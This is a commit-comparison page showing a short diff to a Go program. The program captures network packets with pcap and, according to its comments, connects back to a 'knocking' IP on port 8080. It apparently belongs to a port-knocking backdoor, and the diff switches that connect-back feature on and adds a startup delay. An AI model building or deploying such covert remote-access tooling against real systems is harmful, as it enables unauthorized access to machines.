Compare commits
2 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
9c190cf6c0 | ||
|
|
2da1dfeb1a |
16
main.go
16
main.go
@@ -64,28 +64,20 @@ func sInit(os string) *targetInfo {
|
|||||||
|
|
||||||
// if true, connect back to knocking
|
// if true, connect back to knocking
|
||||||
// IP on connectbackPort
|
// IP on connectbackPort
|
||||||
tInfo.connectback = false
|
tInfo.connectback = true
|
||||||
// only relevant if connectback is true
|
// only relevant if connectback is true
|
||||||
tInfo.connectbackPort = "8080"
|
tInfo.connectbackPort = "8080"
|
||||||
|
|
||||||
return &tInfo
|
return &tInfo
|
||||||
}
|
}
|
||||||
|
|
||||||
func openCapture(tInfo *targetInfo) *pcap.Handle {
|
|
||||||
for {
|
|
||||||
handle, err := pcap.OpenLive(tInfo.iFace, tInfo.snaplen, true, pcap.BlockForever)
|
|
||||||
if err == nil {
|
|
||||||
return handle
|
|
||||||
}
|
|
||||||
time.Sleep(5 * time.Second)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
|
time.Sleep(10 * time.Second)
|
||||||
tInfo := sInit(runtime.GOOS)
|
tInfo := sInit(runtime.GOOS)
|
||||||
|
|
||||||
// Read package and analze them
|
// Read package and analze them
|
||||||
handle := openCapture(tInfo)
|
handle, err := pcap.OpenLive(tInfo.iFace, tInfo.snaplen, true, pcap.BlockForever)
|
||||||
|
errorPrinter(err)
|
||||||
|
|
||||||
handle.SetBPFFilter(tInfo.filter)
|
handle.SetBPFFilter(tInfo.filter)
|
||||||
packets := gopacket.NewPacketSource(handle, handle.LinkType()).Packets()
|
packets := gopacket.NewPacketSource(handle, handle.LinkType()).Packets()
|
||||||
|
|||||||
Reference in New Issue
Block a user